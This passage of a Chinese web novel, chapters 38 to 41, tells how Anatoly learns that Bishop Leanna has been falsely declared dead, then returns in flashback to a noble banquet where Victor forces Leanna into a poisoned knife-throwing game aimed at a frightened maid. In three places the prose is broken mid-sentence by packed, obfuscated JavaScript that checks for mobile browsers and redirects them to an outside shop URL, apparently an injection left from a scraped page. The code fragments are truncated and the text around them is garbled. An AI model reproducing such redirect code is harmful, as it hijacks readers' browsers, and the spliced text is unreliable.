海姆比起斯捷潘要圆滑许多,阿纳托利并不太担心他,但斯捷潘是骑士出身且执着于技术研究,有时候会过于刚直,他信奉实力和成果,自然不会轻易地向没有任何实际功劳的叶夫根尼低头,这肯定触及了伊莉雅的逆鳞。 虽然他走之前已经万分小心,告诫过了自己某些比较特立独行的下属记得夹着尾巴做人,但着实没有料到伊莉雅会直接在泰西防线塞个监察官,教廷的监视官露比给换成两位清澈无害的新人了,没想到最危险的一把刀竟然来自自己这位妹妹。 就在他分神思索的时候,斯捷潘发问了。 “有关泰西防线的事宜之后我们再慢慢讨论,但您是否应当解释一下这里为什么有两位教廷的人?那个破坏大王和你同行是教廷的要求,另外一位高阶魔法师是哪里冒出来的?她是谁?” “她是莱安娜主教,因为一些复杂的原因和我们同行,之后……” “不可能,不可能是莱安娜主教。” 斯捷潘打断了他,语气笃定。 “什么意思?” 阿纳托利知道斯捷潘从不说没有依据的话,眼神变得冷峻起来。 “我在一天前经过莱妮丝城区的时候看到了教廷的公示,莱安娜主教在布鲁城遇刺身亡,教皇震怒,现在教会和王廷正在开展联合调查。” 斯捷潘说罢,但阿纳托利的神情并没有出现他想象中的怀疑、惊讶,而是一种深切的担忧。 斯捷潘皱起眉来,如此板上钉钉的证据都没有让自己这位长官动摇,就只剩下一种可能了。 “您能确定眼前这位就是莱安娜主教本人吗?” “我确定。” 斯捷潘思考半晌后,冷笑着说道。 “那她现在的处境可不比死了好过多少,她要如何证明她是她自己呢?” 他一针见血地指出困局。 阿纳托利叹了口气,这个消息可太糟糕了。 “无论怎样,斯捷潘你们先继续用餐吧,我去告诉莱安娜这个消息,关于之后的行程我们或许还需要重新考虑。” 莱安娜对阿纳托利的到来有些惊讶,按照她对这人的了解,不哄个三四天怎么可能那么快消气。 但对方的脸色无比严肃,莱安娜意识到了应该是有正事让他不得不先暂时放下二人之前的不愉快。 阿纳托利告诉她坏消息时,莱安娜陷入了短暂的惊讶,但很快平静下来,思考一会儿后冷笑了一声。 “呵,我还真的没想到可以做到这个地步……” 她很清楚,教廷公示了死讯,那所有人都会当自己已经死了,自己要如何证明自己是莱安娜呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046858|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 自己一旦站出来质疑教会的结论,维斯特利亚立刻就能以调查为名把她控制起来,杀了她之后安一个招摇撞骗的罪名就好。 同时,维斯特利亚既然已经动了杀心,就一定会赶尽杀绝,现在第二批杀手一定已经在搜寻她,默不作声也并不安全。 她低着头,闭上了眼睛,努力思考着对策,对方这一招假戏真做,让她完全陷入了被动。 “怎么办?她此举既是为了从明面上剥夺自己的权柄,也是在为下一次暗杀做准备,官方公布的死讯意味着我在法律意义上已经死亡了,而且也不能急着自证,那会正中幕后之人的下怀……” 看她束手无策的样子,阿纳托利叹了口气。 在斟酌了一会儿之后,他鼓起勇气开口。 “你现在的处境很危险,最好不要回圣都了。” “我知道。” 她抬起了头,眼神坚定。 “但我必须回去。” “你到底在想什么?简直是自投罗网!” 阿纳托利深吸了一口气,把头转了过去,不再去看那双执拗的眼睛。 “这段时间你去北方躲一下,泰西防线相对这里安全很多。” “不行,他们一定已经在搜捕我了,一旦发现我在泰西防线,你们会有麻烦。而且我必须回去!” “莱安娜,我不知道你到底想要干什么,你现在回圣都就是送死,他们巴望着你去呢,你难道不明白?” 他语气急了很多。 莱安娜坐在椅子上低着头,没有回答他。 她这副样子阿纳托利太熟悉了,显然是一意孤行的模样。 僵持半晌后,阿纳托利先开口了。 “你执意要在这时候要回去,到底是为了什么?” 莱安娜低着头没有回答。阿纳托利试探道: “你是为了教皇之位吗?” 听到这个揣测,她总算是抬起了头。 “这么说也没错。” 阿纳托利的心仿佛被揪住了。 “权位也好、名利也罢,我不希望你为了这些东西丧命,没有什么比你的生命更重要。” “怎么?你觉得我回去一定会输得一败涂地?” 她语气有些不满。 “别逞强,莱安娜,难道你现在的处境还不够危险吗?” “没有那么严重,你多虑了阿纳托利。” 她轻描淡写地反驳道。 阿纳托利觉得太阳穴都在突突地跳。 对方一句“多虑”就将他的所有关心全部驳回,潜藏已久的不满全冒了出来。 “还真是我多虑了。”他语气冰冷,“您和我这样浅陋的士兵不同,主教大人您身居高位多年,于您而言,是不是留在圣都争权夺利比性命还重要?” 他故意像过去他们拌嘴时那样,把话说得很难听,他多么希望莱安娜能够如从前那样带着怒意直接驳斥他。亲口告诉他,“不是这样的。” 只要莱安娜开口就好了。 只要她开口,自己就会相信。 相信她还没有成为传闻中那个阴狠的、残忍的、不择手段之人。 期待对方能告诉他,她厌恶那些东西,她并不想陷入危险之中。哪怕自己人微言轻,只要她开口,他一定会倾尽全力。 但莱安娜听到这话,并没有如他预期那样的愤怒亦或者不满。 她只是短暂地愣了一下。随后闭上了眼睛,眼睫微动。 良久的沉默仿佛是默认了他的一切猜想。 她过了好一会儿才开口: “是的,你说得也没错,回到圣都,成为教皇,比我的性命还重要。” 她平静地说着让人心寒的语言,阿纳托利突然觉得自己仿佛又重新认识了她一次。 “从什么时候开始的?你过去何曾对权位那么执着?” 他盯着莱安娜的眼睛,仿佛想求证什么。 但那熟悉的眼眶里早不再是年少时温和的神色,绿色的眼眸中闪烁着锐利的光芒。 “这是我自己的选择,阿纳托利,你有什么资格评价?至于是从什么时候开始的,我需要和你解释吗?” 她的语气也尖锐起来,丝毫没有让步,阿纳托利不得不做出了一丝妥协。 “我不是这个意思……” 他有些疲惫地叹了口气。 “这样吧,如果在我们到达圣都外围地区的时候,你能想到破局的办法,我不会拦你。” 虽然这样说,但他仍觉得心里有股气在横冲直撞。 “但如果你没有想到一个合理的方案,我会让娜塔莉娅送你和奥菲莉亚回泰西防线。” “我不接受。” 这句话终于把阿纳托利点着了。 他提高了音量,语气相当不客气。 “唯独这件事没有商量,我绝不会坐视不管!有些事情碍于立场我们都有所保留,但我绝对不会放任你去送死。” 他转过身去。 “在到圣都之前如果你并没有破局的办法,你必须离开。” 他知道和对方多说无益,再说下去怕是只会吵得更厉害,转身快步离开。 “她打定主意的事情拉都拉不回来,没准这两天她就会盘算着独自前往……这可怎么办,总不能真让娜塔莉娅把她捆回去吧。” 正当他苦恼之后要如何劝说莱安娜接受时,背后传来了让人意想不到的答复。 “等一下,阿纳托利,我答应你。” 阿纳托利停下了脚步,回头看向这个熟悉的身影,她竟然松口了,这突如其来的妥协让阿纳托利有种强烈的不真实感。 他心里不觉松了好大一口气,但随之而来的却是一种隐隐的不安。 39. 囚徒初见(上) 阿纳托利走出房间,对莱安娜的退让仍有有一种不真实感。 “她为什么会突然改变主意,她竟然会妥协?” “莱安娜为什么会对成为教皇如此执着……她过去并非对权威如此迷恋。” 他的思绪突然飘得很远,回到了他们第一次见面的时候。 那时候他刚满十六岁,代替伊莉雅来当人质,被教廷安排进入了奥利弗学院。 一边在群狼环伺的圣都防着各种试探,一边为南北冲突做准备。 如果南北开战,哪怕是真的继承人都难逃一死,假的更不用说,自己立刻会代替伊莉雅祭旗,如果南北缓和,自己这个人质对教会就没有太多作用了,但教会放过自己也不意味着安全,弗洛斯特那边说不定会因为自己知道太多东西而被除掉吧。 无论假继承人的身份暴露与否,南北未来的走势如何,自己永远是第一个被牺牲掉的,从南下开始他始终明白自己行走在刀尖上的处境。 而他的目标也一直很清晰——活下去。这个目标自从他六岁在魔兽潮中活下来之后从未改变。 为此,他一直小心谨慎地度日,完美地扮演着人质的角色,维系着和圣都权贵们的关系,从不拒绝任何人的宴会邀请,在觥筹交错间寻觅着对自己有用的情报。 而在维克多的成人礼宴会上,在他第一次见到了莱安娜。 那时候他还不知道对方的名字,只是发现了文森特入场时,身后出现了一张陌生的脸。 他们隔得有些远,阿纳托利看不清五官,但也能隐约感觉面孔主人非常年轻。 白色的身影紧跟在文森特的身后,她步履轻盈,小幅度地昂起头来,好奇地打量周遭。 “你在看什么?” 海姆不知道什么时候已经结束了恼人的应酬,出现在了他的身后。 “有新面孔。” “哦?” 海姆走过去,顺着他的目光看向了莱安娜。 “哦,看来艾夫忒宁着手收养魔法师的事已经成了,听说那位小姐叫莱安娜。” 海姆笑着解释道。 阿纳托利听了他的话忍不住皱起眉。 “这些贵族还是那么热衷于培养代理人。” 阿纳托利的语气没什么变化,但海姆的目光捕捉到了他抓在栏杆上的手,指甲盖因为用力有些发白。 “别太悲观,不是每个被收养的孩子都和你一样倒霉。” “我真是谢谢你的安慰……” 阿纳托利哭笑不得。 “不客气,实话实说罢了。” 海姆笑着摊手,无辜地耸了耸肩。 “别担心陌生人的前途了,她运气可比你好多了,兄长文森特是这群贵族里难得的正派人,听说刚来圣都的那天,文森特就主持了她的欢迎会,邀请了很多同龄小姐,还妥善地安顿了她的家人,入学前的各种课程听说也是文森特手把手教的。” 阿纳托利看向大厅里手挽手的兄妹。 “艾夫忒宁急须维持在魔法领域的影响力,她的存在对于艾夫忒宁很关键,自然会有优厚的待遇,文森特又是那样可靠的兄长,她应该会有相当顺遂的未来。” 对比自己的处境,阿纳托利不由得觉得自己刚才的担心多余地有些可笑。 他笑着摇了摇头,和海姆走下楼,应付起其他来搭话的人。 来自南方罗涅酒庄的果酒散发着馥郁的芬芳,伴随着悠扬悦耳的乐声;华灯璀璨下,女士们纤细脖颈和耳垂上的珠宝、男士们的袖口胸针闪烁着夺目的火彩;裙摆样式各异,但都同样轻盈,宛如朵朵形态不同的花苞;人们欢声笑语,仿佛这般繁华能够永远存续。 莱安娜对周遭的一切都充满兴趣。 “兄长,我想去那边看看。” 她指着走廊中间布置精巧的休息处,那里挂着一幅极大的古画,已经吸引了不少客人驻足观望。 “抱歉莱安娜,我希望你能和我一起先去见一个人。” 文森特没有给她自主探索的时间,有些抱歉地朝她笑笑。挽着她的手径直走到了一个金发青年的面前。 青年兴高采烈地正和旁人交谈,没有注意到他们的靠近。 莱安娜观察着被人簇拥着的青年。 那人相当漂亮,侧脸的线条堪称完美,皮肤细腻得让莱安娜羡慕,鼻梁若是再高一分则略显高调,矮一分则少了一丝惊艳。 他正侧头讲话,眼里含笑,蓝宝石的眼睛仿佛一汪清泉,灿若流金的长发让莱安娜想到了秋天金色的麦浪或者阳光。 “简直是油画中的天使。” 她在心中感叹。 “好久不见,维克多。” 听到文森特的问候,那人一下把头转了过来,脸上的笑容较之前更加灿烂。 “看来有位失踪已久的老朋友来了,诸位见谅。” 他朝另外两人点头示意,其他人知趣地离开。他这才和文森特寒暄: “你这些天去哪了,研究所也不见你的踪影,明明上次约好了帮我看新编写的咒语。” “自然是有其他事要忙,我不像你这么幸运,有卡梅里亚侯爵夫人打理一切,我母亲的身体你是知道的,家里现在很多事都需要我操心。” 文森特笑着解释。 维克多有些不悦地皱起眉,随后目光落到了他的身后。 “就是她?你们家收养的那位平民?” 他漫不经心地环抱双手,任谁都能听出语气中的轻佻。 莱安娜闻言,心中不免有丝失望,这种俯视的语气最近她已经听了太多次。 原本以为对方是和兄长一样的绅士,没想到和那些自认为高人一等的贵族没有太大区别。 但好在文森特反驳了他,就和在其他场合中维护莱安娜一样。 “你不该这么说,她现在是我的妹妹。” 文森特温和地笑着,随后终于向莱安娜介绍起了对方。 “妹妹,这位是维克多·瑞恩,常和我一起研究魔法理论,他是位很厉害的魔法师呢。” 莱安娜这才从兄长的背后走出,朝对方微微颔首。 他上下扫了一眼低着头的莱安娜,这人从入场的时候就紧跟在文森特的身后。 “估计是那种胆小乖顺、对人言听计从的人吧……真是无趣。” 维克多揣测道。 “你叫什么名字?” “莱安娜。” 对方抬起头来,直接对上了维克多的目光。 她的眼神里并没有畏惧,甚至还有一丝不满,维克多有些意外。 “莱安娜小姐为什么这样看着我?莫非对我有什么意见?” “难道不是维克多先生先对我这样的平民有意见吗?” 莱安娜虽然脸上带笑,语气却是极其耐人寻味的,维克多知道这个女孩儿在以一种玩笑的方式表达对他的不满。 “竟然看错了,她不是一个温顺的人。” 有胆量的人维克多并不讨厌,而且文森特还在旁边,维克多缓和了脸色,笑着说道。 “忘记刚才我随口一说的话吧,我为我的散漫道歉,小姐您愿意接受吗?” 他看似真诚地朝着莱安娜微微鞠躬,绅士得像是之前轻佻的话语从未存在过一样。 莱安娜没有说话,朝他回敬了一个礼。 这件事就算是翻篇了。一旁的文森特见状仿佛放下心来,正准备和维克多详谈,却被侍从告知卡梅里亚侯爵有请。 “看来我现在必须去问候下你的姑母,这段时间我的妹妹就麻烦你照顾了。你们好好聊聊吧,之后就是奥利佛学院的校友了。” 莱安娜对于兄长的决定显然不太满意,惊愕与不情愿都写在脸上,维克多看得一清二楚。但有意思的是,她似乎清楚自己没有什么拒绝的权利,终究是一句话也没说。 兴致盎然地观察到此,维克多心情很不错。笑着回应道。 “放心,我会尽可能让你的妹妹度过愉快的时光,毕竟瑞恩的宴会向来有趣。” “这我自然知道。” 文森特微微点头后离开。 而维克多把笑脸转向了莱安娜。 “我可是答应了您的兄长,让您度过愉快的时光,小姐想不想和我玩一场有趣的游戏?” “什么游戏?” 她的眼神一直闪着光,毕竟宴会如此热闹,游戏应该也不会让人失望。 直到维克多将飞刃塞到了她的手中,笑眯眯地指了指前方捧着苹果,抖个不停的年幼女仆。 莱安娜的眼中只剩下惊恐。 “这是要做什么?” 她握着飞刃的手有些发抖。 “当然是玩飞刃了,目标是那个苹果。” “但那里还有一个人······这里设了特殊阵法,没法用魔力,可能会打偏······” 她还没说完,维克多绕到了她的身后,一只手抓着她握飞刃的手,另一只手搭在了她的肩膀上。 “不仅如此哦,今天的匕首上还涂了毒,这是为了提醒您扔得更加小心,而且这位仆人可是为了我们的游戏,自愿陷自己于险境,所以你要扔得更准才行,不要伤害一位如此有奉献精神的好孩子·····”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046859|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他带着笑意俯身说道。 “不,她不是自愿的,她在发抖,她在流泪······” 维克多一挑眉,松开了莱安娜的手,走到了仆人前面。 “莱安娜小姐觉得是我强迫你参加的,这位女士,你是自愿为我们提供帮助的吗?” 他平静地问,蓝色的眼睛甚是无辜。 “是的···是的·····” 对方嗫嚅着。 维克多的笑容在一瞬间就消失,一把抓住对方盘起的头发,强迫她仰起头。 “大声点儿,让对面那位小姐听见!”他看着莱安娜笑着说。 维克多声音很大,人群注意到了此处,开始凑过来。 捧着苹果的女孩儿抖得更厉害了,泪从她的脸上滚落,她抽噎着,却只能竭尽全力地提高音量。 “我是自愿参加游戏的······是自愿的······” 维克多还不满意,他无辜地问道。 “你为什么不笑呢?加入了游戏应该脸上带着笑呀。” 他用另一只手,在女孩的脸上挤出了一个满意的笑容。 “好的,保持住。” 他松开了手,女孩只得继续保持微笑的表情,她快绝望了。 莱安娜看着眼前这荒唐的景象。维克多这个有着天使一般外表的人,正在强迫仆人参加这个所谓的‘游戏’,而对方显然已经怕的不能再怕了,围观的其他客人没有一个人出来制止,他们竟然还在笑!不觉得诡异吗? 她不可置信地朝维克多摇了摇头。 …… 卡梅里亚夫人正放松地倚在沙发上,右手拈着烟枪,复杂宽大的裙摆铺洒开来,像是一朵巨大的紫色芍药。祖母绿首饰和端庄优雅的紫色相得益彰,但一眼看过去最先注意到的绝不是服饰。 吊灯的光打在她搭在枕头上的手臂和肩膀上,如同羊脂玉一样的肌肤显得更加细腻白皙,蓝色眼睛比任何珠宝都要璀璨,哪怕眼尾和脖子已经有了岁月的痕迹,但风华绝代的气质毋庸置疑。 “你真的不试一试?这是西部最好的烟草,历经一整年的培育和制作,是我最喜欢的品类之一。” 她笑着用烟枪挑开侍从端着的匣子,阿纳托利瞥了一眼,里面有烟草叶子打底,其上放着一片纸张。 “感谢夫人的好意,但我还没成年。” 阿纳托利礼貌地回绝了她。 “是吗?我还以为你和维克多一般大小,倒是我记错了,不过嘛,年龄只是拒绝礼物的借口之一,看来你并不满意我的报酬。” 她挥了挥手,示意侍从把呈到阿纳托利面前的匣子撤了下去。 “那我应该送你什么呢?毕竟你提醒了我北部农业合作的商机,还承诺说服彼得公爵维持南北和平现状,这可是我近期听到的最好的消息。” “我如此行事也有我自己的私心,我希望能得到夫人的帮助。” “哦?愿闻其详。” “首先我和夫人一样不希望南北交恶,打仗有什么意思?其次您也知道弗洛斯特情况复杂,我常年在南方,万一北部生变,我也期待着能有更多朋友的支持。” 卡梅里亚闻言没有立刻答复,只见她把玩着烟枪,眯起了眼睛。 “你想以个人身份加入瑞恩家主导的南方联合议会?在继承不利时可以得到支持?你想现在就和我们结为同盟?” “是的,夫人……”他还没有说完,卡梅里亚夫人便打断了他。 “你似乎搞错了一件事,年轻人。” 她的语气不再慵懒。 “刚才我的馈赠不过是对你向我示好的一点回馈,结为同盟这种合作只有彼得公爵,或者他板上钉钉的继承人才有资格和我谈,这是前提。” 她说罢又从容地吐出一团烟雾。 “希望你能尽快让我们看到你被确定为北地的继承人,毕竟我们是不会投资一个被放弃的囚徒的。” “您的意思我明白了……” 阿纳托利尽可能让自己看上去波澜不惊。 “别板着个脸呐,年轻人,我也没说不让你加入。” 阿纳托利有些不解地看着她。 “北地从未加入联合议会,如果北地继承人在此时加入,未来等你继承爵位,我是相当期待的。” 她托着下巴饶有兴趣地盯着阿纳托利,随手把烟枪丢给了一旁的侍从。 “向我证明你的价值直到我满意,我会引荐你进入议会。” “我尽量……” “要笑啊,年轻人。阶下囚可没有甩脸色的权利。” …… 40. 囚徒初见(下) 海姆在和一位女士一曲舞毕后,注意到了刚结束和卡梅里亚夫人交谈的阿纳托利。 卡梅里亚似乎还准备刁难他一段时间,但新加入的文森特似乎察觉到了他的不妙处境,帮他化解了几次有些尖锐的交锋,这才结束。 阿纳托利还保持着礼貌的笑容,但恐怕他自己都没有发觉自己那微微皱起的眉头。 “你怎么看上去心情不好?卡梅里亚侯爵夫人是现在瑞恩家的当家人,能和她说上话咱们今天就算没白来。”海姆笑着看着他。 “卡梅里亚夫人想用北地和西区部分烟草税金作为我们情报的报酬,我拒绝了。她也同意了加入联合议会的请求,不过,她试探了我包括有无除掉伊莉雅的计划等诸多事情。” “那很难缠了,不过这样的试探早就是家常便饭了,别这么不开心,往好处想想,瑞恩家宴会上的酒可是顶级的。” 海姆递给了他一杯果酒。 殷红色的液体散发着馥郁的气息。 “是啊,这里到处都是好东西……我听说今年的魔兽潮比往年任何时候都要重,但为什么在这里像是什么都没发生呢?你不觉得可怕吗?海姆?所有人都像是在一艘外壳华美的船上醉生梦死,我们漂浮在危机四伏的海面,船底千疮百孔,谁也不知道什么时候会沉。” “与其操心远在天边的魔兽潮,不如操心下你我怎么傍上可靠的新靠山,你是个假的祭品,而我这个私生子不受未来家主的待见,那些宏大的困难就留给享受了供奉的领主们去抠破脑袋吧,我们的当务之急是活下去……” 他还没说完,就发现人群开始异常地朝一边汇集。 阿纳托利和他眼神交汇,默契地结束对话,朝簇拥的人群走去。 “你还在犹豫什么呢?” 维克多熟悉的声音从人群中传来,阿纳托利和海姆已经隐约有了不详的预感。 阿纳托利拨开人群,朝里面张望。 维克多金色的头发在大厅的灯光下格外夺目。发丝之下的湛蓝眼瞳正饶有兴致地盯着一个人,艾夫忒宁家新收养的那个女孩儿。 维克多正抓着一位仆从的肩膀,她正捧着一个苹果。维克多俯身在她耳边说着什么,两行泪不停地从女孩眼中滚落,她整个人都在发抖。 但维克多的手掐着她的下巴,她只得挤出一个诡异的笑容。 阿纳托利十分困惑,直到目光落到了莱安娜手中的匕首上才恍然大悟。 “维克多在和艾夫忒宁家收养的女孩在进行一场游戏,仆从是道具,道具哪有哭丧着脸的资格?” 他看向那位站在远处,饱受煎熬的仆从,心里有些不是滋味。 而一旁的海姆显然也明白过来了是怎么回事,凑过来压低声音道, “啧啧啧……这也太肆意妄为了。虽说是贵族,但也不能随意杀死平民,奴隶制那是多少年前的事情了?” “他们在进行这种游戏前,一般会和平民签订自愿参与的合同,哪怕是诉诸法律,也不会受到制裁的。” 阿纳托利叹了口气,闻言海姆一愣,随后冷笑起来。 “呵呵,像是平民有能力拒绝似的?有些宴会我没有资格参加,今天这样的事我还是头一次亲眼所见,但看来你已经见过不少了” “比较我之前见到的,这还不算特别糟糕……至少那位小姐看上去并不乐于欣赏别人痛苦。” 阿纳托利的目光从那个仆从的身上移开,落到了莱安娜手中那把闪着寒光的匕首,拿着匕首的手还在发抖。 “有什么办法吗?”海姆问道。 “去找治愈系法师吧,去宅邸外找。” 海姆心领神会,他们没有办法当众和瑞恩家唱反调,阻止不了游戏,但至少可以减轻这位无辜之人受到的伤害。 “我现在去。” 海姆快步走出了人群,独留阿纳托利一人观望。 人群的窃窃私语替他补全了故事的始末。 这是维克多发起的名为黄金苹果的游戏,匕首上涂了毒药,如果匕首扎到了苹果,参加游戏的小姐会得到八倍和苹果等重的黄金,参加游戏的仆从也可以得到两倍等重的黄金。 “果然去找治愈法师是正确的选择,匕首有毒,被扎到会有性命之虞,这里的贵族法师不一定会为了一个仆从使用魔法……” 正当他忧心忡忡时,耳边响起了意想不到的声音。 “哐当!” 匕首砸在地上的声音无比清脆。 “我不参加,这不是游戏。” 艾夫忒宁收养的女孩昂起头,毫不畏惧地盯着维克多。 人群炸开了锅, 阿纳托利甚至都怀疑自己听错了,他没想过对方会直接拒绝,这相当于明面上和维克多唱反调。 他在人群中看向莱安娜。 她站在维克多对面,身量不算高大,还没有完全长定,干净的面庞没有完全褪去稚气,她的背后空无一人,毫无倚仗。 “原来一个并不强大的人也是可以拒绝这些事的。” 阿纳托利喃喃自语。 “反抗只与勇气有关……” 正在他心神震荡时,维克多开口了。 “还是第一次有人要退出我的游戏。” 没有预想中的不满亦或者愤怒,而是带上了几分笑意,反倒是更加让人琢磨不透。 “她真的能够应付维克多的刁难吗?” 阿纳托利有些担心,但此时从人群中走出一个人,挡在了莱安娜身前。 “差不多行了,维克多,你不能逼我妹妹做她不愿意的事情。” 文森特带着礼貌笑容,淡然说道,算是给这场闹剧画上了句号。 阿纳托利默默地舒了口气。 但维克多听了这话后非但没有游戏被终止的不快,仿佛明白了什么关窍,竟然笑得更加灿烂。 他朝文森特走近一步。 “你是在怪我没有给艾夫忒宁家族应有的尊重……你说得对,我这个外人确实没有资格命令你妹妹。” 他压低声音说着,朝文森特歉意地点了下头。 “那你呢?” 他直勾勾地盯着文森特。 “你能够让你妹妹做这件事情吗?还是说其实你也没有资格命令她?毕竟……她现在也是你们家的一员了,你又没有魔力,到底谁才是继承人呢?” 他的声音压得很低,只有他和文森特两个人能够听见。 但文森特只是眨了下眼睛,连眉都没有动一下。 他笑着回应维克多。 “你说话还是一如既往地难听。” 他转身施施然捡起了地上的飞刃。 “你的用语需要纠正,莱安娜是我的妹妹,我们是一家人,没有命令不命令一说。不过嘛…… 他看向维克多。 “我这位妹妹确实很听我的话。” 闻言维克多欣然一笑,他知道可以看到一出有趣的戏码。 文森特带着温文尔雅的笑容走到了莱安娜的身边,将飞刃塞回了她的手中。 她不可置信地摇头,那双墨绿的眼睛满是不解。 “抱歉,莱安娜,必须继续游戏,我们不能对宴会的主人无礼。” “不,不!这不对·····” “你不听我的话了吗?”文森特悲伤地看着她。 “你如果在这里拒绝了维克多先生的要求,我们都会很难办的,你看周围的人,他们都在看着你呢,若是连这种游戏都不敢参与,直接拒绝瑞恩家的邀请有损艾夫忒宁家族的颜面,你不是说过为了报答艾夫忒宁家的恩情,会以家族利益为先吗?你现在就要背弃自己的誓言?” 他的声音很轻,但仿佛千钧的石块压到了莱安娜的心上。 “我不是……” “那就参与这场游戏。” 文森特的语气变得严肃起来。 “她会受伤的,哥哥!” “那又怎样?” 文森特的语气仍然是温和的,温和得让莱安娜遍体生寒。 “她伤了死了都是因为这场游戏,罪孽要追究也是找维克多,你是迫不得已的,和你没有关系,而且她不过是一个与你毫无瓜葛的仆人,这需要犹豫吗?实在不忍心就闭上眼睛,随便一扔,很快就结束了。” 他说罢叹了口气, “不要让我失望。好妹妹。” 他拍了拍莱安娜的肩膀,走回了人群中。 阿纳托利和他们有些距离,听不清维克多和文森特说了什么,只知道不到一句话的功夫,文森特就转变了态度向自己的妹妹施压。 莱安娜捏着飞刃,迷茫地看着对面泪流满面的少女。 “只要故意扔偏就好……我不会伤到她。” 她屏息凝神,一把飞刃飞出,果然无误地落到了地上。 “等一下!” 维克多雀跃的叫停声响彻大厅。 “我补充一下规则,防止消极游戏,毕竟参与了就要认真。” 莱安娜的心沉到了谷底。 “飞刃必须扎到苹果或者人的要害,可不能草草收尾,今天可是我的成人礼,莱安娜小姐您会帮我玩尽兴的,对吧。” 他笑眯眯地看着莱安娜。 “要么击中苹果,要么见血,游戏才能结束。” 莱安娜攥紧了下一枚飞刃,对面的少女已经绝望了,她闭上了眼睛,嘴里喃喃自语,像是在祈祷。 “飞刃上有毒,且不论扎到要害,光是划伤也有致命的危险,这里应该有专修治愈魔法的魔法师,但不一定会给这位女孩儿看诊,如果受伤后无法及时治疗,恐怕她真的会死……” 莱安娜只觉得手中的匕首相当沉重。 “怎么办?到底应该怎么办?” 她拿着匕首的手微微发抖,汗珠从额头冒出。 维克多很喜欢她这幅表情。 像一只困在陷阱中的狼,除了扑向同类,接受驯化之外没有别的出路。 看她急得团团转的样子,维克多分外享受。 “这太美妙了。” 对方在他设计的这场无法拒绝、无法逃离的游戏中最终只能低头,为了自己向他人挥刀。 而一旁的阿纳托利也知道事情没有回旋的余地了,只能祈祷海姆回来得再快些。 他远远地看着莱安娜、看着那个捧着苹果强颜欢笑的女仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莱安娜捂住了伤口,飞刃很锋利,她的动作也很快,动手的时候甚至感受不到伤口的疼痛,直到低下头看着自己沾血的衣物才后知后觉地开始感到难受。 “你在做什么?” 维克多冲她吼道,一把抓住她的肩膀,尝试初步检查伤口。 莱安娜在此时顺势抓住了他的手。 “您说扎中苹果或者流血就可以结束游戏,我和那个女孩并没有区别,那么如果受伤的是我,也符合条件!” 莱安娜死死地盯着他,那双眼中没有惊恐也没有痛苦,异常坚定。 “我结束了您的游戏,立刻兑现您的承诺。” 维克多愣了两秒,鬼使神差地答应了。 “好……” 他话还没说完,就被文森特一把推开。 “莱安娜!” 文森特将她扶住。 “维克多,快找治愈系法师。” 而维克多只是愣在了原地,不可置信地看着已经开始站不住的莱安娜,直到文森特再次冲他吼道。 “你想要我们家的人死在你的成人礼上吗!” 他这才如梦初醒,他记得今天受邀的客人中有擅长治疗魔法的人。 “皮埃尔和艾米丽呢?” “据说那二位要赶着去银杏广场排队买最新的限量烤饼先行离开了。” “见鬼!” 维克多恨不得现在就把这两废物点心的嘴给撕烂。 “要不让我带来的治愈系法师试一试。” 阿纳托利朝维克多示意。 维克多不耐烦地点了点头,朝两个人招了招手转身向莱安娜和文森特走去,没功夫去深究阿纳托利这两治愈法师的来历。 阿纳托利也顺势跟着维克多走上前,莱安娜被平放在地上,还没有完全失去意识,伤口仍然在冒血。 两位治疗师手忙脚乱地在进行施法,而文森特正在和维克多理论。 此时,阿纳托利注意到莱安娜竟然侧过了脑袋,看向那个被她救下的女仆。 “你自由了。” 莱安娜想道。 女仆似乎想走过来看看她的伤情,朝着这边已经挪了几步。 莱安娜朝她用力地摇了摇头,对方的脚步停了下来。 “快走……” 她都快发不出声音了,但值得庆幸的是,那个女仆似乎看懂了她的口型,短暂犹豫后转身离开了这个牢笼。 但莱安娜和阿纳托利仍在其中。 她把头转了回来,瞥了一眼正在理论的维克多和文森特,她对这个有着天使样貌的人好感全无。而维克多也在这事之后讨厌上了她。 他的成人礼宴会因为这场意外戛然而止,莱安娜也作为唯一的变数从此嵌入了他的生活,他讨厌莱安娜,一个不可控制、无法威胁、难以驯服的平民。 而对阿纳托利而言,他那天第一次知道,在看似无解的困境之下,原来是有第二个选择的。 41. 转变 在奥利佛学院的日子,阿纳托利也过得小心翼翼,但在一次联合测试后他和莱安娜成为了队友。原本因为他和瑞恩家走得近的缘故,莱安娜一开始对他似乎有不少成见,但随着联赛还有其他事情二人慢慢熟识,彼此都放下偏见,成了关系极好的朋友,他后来又认识了萝丝、杰西卡、露比…… 虽然学校并不太平,但已经是他疲于奔命的生活中难得的美好了。 在南方当人质的第一年时间里,他一直游走在商会、黑市、雇佣兵组织、南方的贵族之间。 他甚至想过能不能投身一位南方贵族的麾下,比如瑞恩家族,寄希望对方在南北冲突的时候保下自己,但见识到他们是何嘴脸后,他便彻底放下了这个幼稚的想法。 